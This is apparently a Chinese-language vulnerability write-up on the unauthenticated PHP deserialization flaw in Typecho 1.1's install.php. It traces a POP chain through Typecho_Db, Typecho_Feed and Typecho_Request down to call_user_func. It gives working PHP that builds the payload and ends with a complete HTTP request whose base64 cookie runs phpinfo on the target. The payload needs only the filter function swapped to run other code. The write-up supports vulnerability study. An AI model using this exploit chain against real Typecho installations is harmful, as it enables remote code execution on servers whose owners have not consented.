反序列化触发点

  • 在install.php 中存在用户可控的反序列化
1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
  • 前面有几个判断需要绕过才能到达反序列化的位置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}

$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}

if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
  1. 第一个if传入?finish=123 即可
  2. 第二个if加入referer即可

Referer: http://127.0.0.1

反序列化利用链

1
2
3
4
5
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
  • 最直接的想法是直接利用__destruct或者__wakeup,但是typecho并没有可以利用这两个魔术方法的地方
  • 第二种想法就是利用unserialize的返回值,也就是$config

这里$config['adapter']$config['prefix']被传入了Typecho_Db类的构造函数__construct中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;

/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

$this->_prefix = $prefix;

/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();

//实例化适配器对象
$this->_adapter = new $adapterName();
}
  • $adapterName$prefix 都是用户可控的
  • $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    如果$adapterName 是一个对象的话,会触发__toString

全局搜索可以找到3个__toString:

  1. Typecho_Db_Query类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
public function __toString()
{
switch ($this->_sqlPreBuild['action']) {
case Typecho_Db::SELECT:
return $this->_adapter->parseSelect($this->_sqlPreBuild);
case Typecho_Db::INSERT:
return 'INSERT INTO '
. $this->_sqlPreBuild['table']
. '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
. ' VALUES '
. '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
. $this->_sqlPreBuild['limit'];
case Typecho_Db::DELETE:
return 'DELETE FROM '
. $this->_sqlPreBuild['table']
. $this->_sqlPreBuild['where'];
case Typecho_Db::UPDATE:
$columns = array();
if (isset($this->_sqlPreBuild['rows'])) {
foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
$columns[] = "$key = $val";
}
}

return 'UPDATE '
. $this->_sqlPreBuild['table']
. ' SET ' . implode(' , ', $columns)
. $this->_sqlPreBuild['where'];
default:
return NULL;
}
}

这里拼接了sql语句但是没有执行,用处不大

  1. Typecho_Config类
1
2
3
4
public function __toString()
{
return serialize($this->_currentConfig);
}

serialize 会触发__sleep,不过typecho 中没有存在__sleep的类

  1. Typecho_Feed类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
public function __toString()
{
$result = '<?xml version="1.0" encoding="' . $this->_charset . '"?>' . self::EOL;

if (self::RSS1 == $this->_type) {
$result .= '<rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
xmlns="http://purl.org/rss/1.0/"
xmlns:dc="http://purl.org/dc/elements/1.1/">' . self::EOL;

$content = '';
$links = array();
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item rdf:about="' . $item['link'] . '">' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<dc:date>' . $this->dateFormat($item['date']) . '</dc:date>' . self::EOL;
$content .= '<description>' . strip_tags($item['content']) . '</description>' . self::EOL;
if (!empty($item['suffix'])) {
$content .= $item['suffix'];
}
$content .= '</item>' . self::EOL;

$links[] = $item['link'];

if ($item['date'] > $lastUpdate) {
$lastUpdate = $item['date'];
}
}

$result .= '<channel rdf:about="' . $this->_feedUrl . '">
<title>' . htmlspecialchars($this->_title) . '</title>
<link>' . $this->_baseUrl . '</link>
<description>' . htmlspecialchars($this->_subTitle) . '</description>
<items>
<rdf:Seq>' . self::EOL;

foreach ($links as $link) {
$result .= '<rdf:li resource="' . $link . '"/>' . self::EOL;
}

$result .= '</rdf:Seq>
</items>
</channel>' . self::EOL;

$result .= $content . '</rdf:RDF>';

} else if (self::RSS2 == $this->_type) {
$result .= '<rss version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:wfw="http://wellformedweb.org/CommentAPI/">
<channel>' . self::EOL;

$content = '';
$lastUpdate = 0;

foreach ($this->_items as $item) {
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
......
  • 一个很长的方法,其中
    $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    如果$item['author']是一个类并且不存在screenName属性的话,会触发其__get方法

__get方法还挺多的,能够利用的是Typecho_Request类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function __get($key)
{
return $this->get($key);
}

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}

$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

可以看到$key会被传给get方法,get方法给$value赋值后将其传给_applyFilter方法

1
2
3
4
5
6
7
8
9
10
11
12
13
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}

$this->_filter = array();
}

return $value;
}
  • 这里的array_mapcall_user_func都可以利用,只需要将$filter设为想要执行的函数,$value设为函数的参数即可

构造poc

  • 一开始写的poc
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();

function __construct()
{
$this->_params['screenName'] = '123';
$this->_filter[0] = 'phpinfo';
}
}

class Typecho_Feed
{
private $_items = array();
private $_type;

function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[0]['author'] = new Typecho_Request();
}
}

$config['adapter'] = new Typecho_Feed();

echo base64_encode(serialize($config));

结果返回了http 500

这是因为install.php在一开始调用了ob_start()开启了缓冲区,反序列化pop链执行后phpinfo()的内容没有立刻输出,而是先存在缓冲区里。

之后在Typecho_Db类的__construct中会抛出错误

1
2
3
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}

之后会调用/var/Typecho/Common.php的exceptionHandle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function exceptionHandle(Exception $exception)
{
@ob_end_clean();

if (defined('__TYPECHO_DEBUG__')) {
echo '<h1>' . $exception->getMessage() . '</h1>';
echo nl2br($exception->__toString());
} else {
if (404 == $exception->getCode() && !empty(self::$exceptionHandle)) {
$handleClass = self::$exceptionHandle;
new $handleClass($exception);
} else {
self::error($exception);
}
}

exit;
}

这里会调用ob_end_clean清除缓冲区然后返回500

  • 因此想要有回显的话可以在pop链最后造成一个错误使程序终止
    比如在Typecho_Feed类的__construct方法中加入一个
    $this->_items[0]['category'] = Array(new Typecho_Request());

  • 最终的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Typecho_Request
{
private $_params = array();
private $_filter = array();

function __construct()
{
$this->_params['screenName'] = '123';
$this->_filter[0] = 'phpinfo';
}
}

class Typecho_Feed
{
private $_items = array();
private $_type;

function __construct()
{
$this->_type = 'RSS 2.0';
$this->_items[0]['author'] = new Typecho_Request();
$this->_items[0]['category'] = Array(new Typecho_Request());
}
}

$config['adapter'] = new Typecho_Feed();

echo base64_encode(serialize($config));
1
2
3
4
5
6
7
8
9
10
11
12
GET /typecho1.1/install.php?finish=123 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1
Referer: http://127.0.0.1
Cookie: __typecho_config=YToxOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6MzoiMTIzIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czozOiIxMjMiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO319